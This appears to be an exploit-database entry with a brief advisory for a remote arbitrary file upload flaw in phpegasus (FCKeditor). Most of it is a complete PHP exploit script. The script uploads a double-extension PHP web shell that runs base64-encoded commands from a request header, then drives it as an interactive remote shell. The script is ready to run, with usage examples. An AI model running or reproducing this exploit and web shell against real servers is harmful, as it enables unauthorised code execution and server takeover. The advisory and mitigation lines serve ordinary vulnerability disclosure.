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vendor:
phpegasus
by:
eidelweiss
7,5
CVSS
HIGH
Remote Arbitrary File Upload
434
CWE
Product Name: phpegasus
Affected Version From: phpegasus0_1_1
Affected Version To: phpegasus0_1_2
Patch Exists: NO
Related CWE: N/A
CPE: a:phpegasus:phpegasus
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache
2009

phpegasus (fckeditor) Remote Arbitrary File Upload Exploit

A vulnerability exists in phpegasus (fckeditor) which allows an attacker to upload arbitrary files on the server. This is due to the fact that the 'Enabled' parameter in the config.php file is set to true by default, allowing an attacker to upload a malicious file using the upload.php file. This can be exploited to execute arbitrary code on the server.

Mitigation:

Disable the 'Enabled' parameter in the config.php file or restrict access to the upload.php file.
Source

Exploit-DB raw data:

<?php
/*
 -----------------------------------------------------------------
 phpegasus (fckeditor) Remote Arbitrary File Upload Exploit
 -----------------------------------------------------------------

 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 0     _                   __           __       __                     1
 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
 1                  \ \____/ >> Exploit database separated by exploit   0
 0                   \/___/          type (local, remote, DoS, etc.)    1
 1                                                                      1
 0  [+] Site            : Inj3ct0r.com                                  0
 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
 0                                                                      0
 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

 Vendor: www.phpegasus.com
 Download : http://www.phpegasus.com/versions/phpegasus0-1-2b.zip
 exploited by ..: eidelweiss
 Affected: phpegasus0_1_1 , phpegasus0_1_2
 details..: works with an Apache server with the mod_mime module installed (if specific)
  
 [-] vulnerable code in path/core/editor/editor/filemanager/connectors/php/config.php
     
    [*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
    [*] 
    [*]	$Config['Enabled'] = true ;
    [*]
    [*] // Path to user files relative to the document root.
    [*] $Config['UserFilesPath'] = '/userfiles/' ;
    [*]
    [*] // Fill the following value it you prefer to specify the absolute path for the
    [*] // user files directory. Usefull if you are using a virtual directory, symbolic
    [*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
    [*] // Attention: The above 'UserFilesPath' must point to the same directory.
    [*] 
    [*]
    [*] $Config['AllowedExtensions']['File']	= array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]
    [*] $Config['DeniedExtensions']['File']     = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Image']   = array('bmp','gif','jpeg','jpg','png') ;
    [*] $Config['DeniedExtensions']['Image']    = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Flash']   = array('swf','flv') ;
    [*] $Config['DeniedExtensions']['Flash']    = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Media']   = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;
    [*] $Config['DeniedExtensions']['Media']    = array() ;
     
    with a default configuration of this script, an attacker might be able to upload arbitrary
    files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
 
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function upload()
{
 global $host, $path;
  
 $connector = "/core/editor/editor/filemanager/connectors/php/config.php";
 $file_ext  = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
  
 foreach ($file_ext as $ext)
 {
  print "\n[-] Trying to upload with .{$ext} extension...";
   
  $data  = "--abcdef\r\n";
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";
  $data .= "Content-Type: application/octet-stream\r\n\r\n";
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
  $data .= "--abcdef--\r\n";
   
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $data;
   
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
   
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
   
  $packet  = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $html    = http_send($host, $packet);
   
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
   
  sleep(1);
 }
  
 return false;
}
print "\n+--------------------------------------------------------------------------+";
print "\n| phpegasus (fckeditor) Remote Arbitrary File Upload Exploit by eidelweiss |";
print "\n+--------------------------------------------------------------------------+\n";
if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /phpegasus/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\phpegasus-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $html   = http_send($host, $packet);
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $html);
  print "\n{$shell[1]}";
 }
 else break;
}
?>